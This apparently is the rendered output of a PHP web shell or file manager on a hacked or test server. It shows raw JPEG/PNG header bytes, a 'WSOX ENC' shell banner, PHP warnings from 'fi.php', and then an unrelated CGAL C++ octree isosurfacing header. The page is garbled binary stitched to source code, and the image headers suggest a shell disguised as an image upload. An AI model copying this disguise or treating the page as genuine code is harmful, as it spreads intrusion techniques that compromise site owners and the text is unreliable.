1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
// Copyright (c) 2022-2024 INRIA Sophia-Antipolis (France), GeometryFactory (France). // All rights reserved. // // This file is part of CGAL (www.cgal.org). // // $URL: https://github.com/CGAL/cgal/blob/v6.1/Isosurfacing_3/include/CGAL/Isosurfacing_3/internal/Octree_domain_3.h $ // $Id: include/CGAL/Isosurfacing_3/internal/Octree_domain_3.h b26b07a1242 $ // SPDX-License-Identifier: GPL-3.0-or-later OR LicenseRef-Commercial // // Author(s) : Julian Stahl // Mael Rouxel-Labbé #ifndef CGAL_ISOSURFACING_3_INTERNAL_OCTREE_DOMAIN_3_H #define CGAL_ISOSURFACING_3_INTERNAL_OCTREE_DOMAIN_3_H #include #include #include #include #include namespace CGAL { namespace Isosurfacing { namespace internal { // Specialization of the Isosurfacing_domain_3 for Orthtree template class Isosurfacing_domain_3::Kernel, std::vector >, ValueField, GradientField, IntersectionOracle> { public: using Edge_intersection_oracle = IntersectionOracle; using Partition = CGAL::Octree::Kernel, std::vector >; using Geom_traits = typename Partition::Geom_traits; using FT = typename Geom_traits::FT; using Point_3 = typename Geom_traits::Point_3; using Vector_3 = typename Geom_traits::Vector_3; using PT = CGAL::Isosurfacing::partition_traits; using vertex_descriptor = typename PT::vertex_descriptor; using edge_descriptor = typename PT::edge_descriptor; using cell_descriptor = typename PT::cell_descriptor; using Edge_vertices = typename PT::Edge_vertices; using Cells_incident_to_edge = typename PT::Cells_incident_to_edge; using Cell_vertices = typename PT::Cell_vertices; using Cell_edges = typename PT::Cell_edges; static constexpr Cell_type CELL_TYPE = PT::CELL_TYPE; static constexpr std::size_t VERTICES_PER_CELL = PT::VERTICES_PER_CELL; static constexpr std::size_t EDGES_PER_CELL = PT::EDGES_PER_CELL; private: const Partition& m_partition; const ValueField& m_values; const GradientField& m_gradients; const IntersectionOracle m_intersection_oracle; mutable std::vector m_leaf_vertices; // cache variable mutable std::vector m_leaf_edges; // cache variable mutable std::vector m_leaf_cells; // cache variable public: Isosurfacing_domain_3(const Partition& partition, const ValueField& values, const GradientField& gradients, const IntersectionOracle& intersection_oracle = IntersectionOracle()) : m_partition{partition}, m_values{values}, m_gradients{gradients}, m_intersection_oracle{intersection_oracle} { } const Geom_traits& geom_traits() const { return m_partition.geom_traits(); } const Edge_intersection_oracle& intersection_oracle() const { return m_intersection_oracle; } public: // The following functions are dispatching to the partition_traits' static functions. // returns the location of vertex `v` decltype(auto) /*Point_3*/ point(const vertex_descriptor& v) const { return PT::point(v, m_partition); } // returns the value of the function at vertex `v` decltype(auto) /*FT*/ value(const vertex_descriptor& v) const { return m_values(v); } // returns the value of the function at point `p` decltype(auto) /*FT*/ value(const Point_3& p) const { return m_values(p); } // returns the gradient at point `p` decltype(auto) /*Vector_3*/ gradient(const Point_3& p) const { return m_gradients(p); } // returns a container with the two vertices incident to the edge `e` decltype(auto) /*Edge_vertices*/ incident_vertices(const edge_descriptor& e) const { return PT::incident_vertices(e, m_partition); } // returns a container with all cells incident to the edge `e` decltype(auto) /*Cells_incident_to_edge*/ incident_cells(const edge_descriptor& e) const { return PT::incident_cells(e, m_partition); } // returns a container with all vertices of the cell `c` decltype(auto) /*Cell_vertices*/ cell_vertices(const cell_descriptor& c) const { return PT::cell_vertices(c, m_partition); } // returns a container with all edges of the cell `c` decltype(auto) /*Cell_edges*/ cell_edges(const cell_descriptor& c) const { return PT::cell_edges(c, m_partition); } // iterates over all vertices `v`, calling `f(v)` on each of them template void for_each_vertex(Functor& f) const { if (m_leaf_vertices.empty()) PT::get_leaves(m_partition, m_leaf_cells, m_leaf_edges, m_leaf_vertices); PT::template for_each_vertex(f, m_leaf_vertices, m_partition); } // iterates over all edges `e`, calling `f(e)` on each of them template void for_each_edge(Functor& f) const { if (m_leaf_edges.empty()) PT::get_leaves(m_partition, m_leaf_cells, m_leaf_edges, m_leaf_vertices); PT::template for_each_edge(f, m_leaf_edges, m_partition); } // iterates over all cells `c`, calling `f(c)` on each of them template void for_each_cell(Functor& f) const { if (m_leaf_cells.empty()) PT::get_leaves(m_partition, m_leaf_cells, m_leaf_edges, m_leaf_vertices); PT::template for_each_cell(f, m_leaf_cells, m_partition); } // finds the intersection of the isosurface with the edge `e` (if any) bool construct_intersection(const Point_3& p_0, const Point_3& p_1, const FT val_0, const FT val_1, const FT isovalue, Point_3& p) const { return m_intersection_oracle(p_0, p_1, val_0, val_1, *this, isovalue, p); } }; } // namespace internal } // namespace Isosurfacing } // namespace CGAL #endif // CGAL_ISOSURFACING_3_INTERNAL_OCTREE_DOMAIN_3_H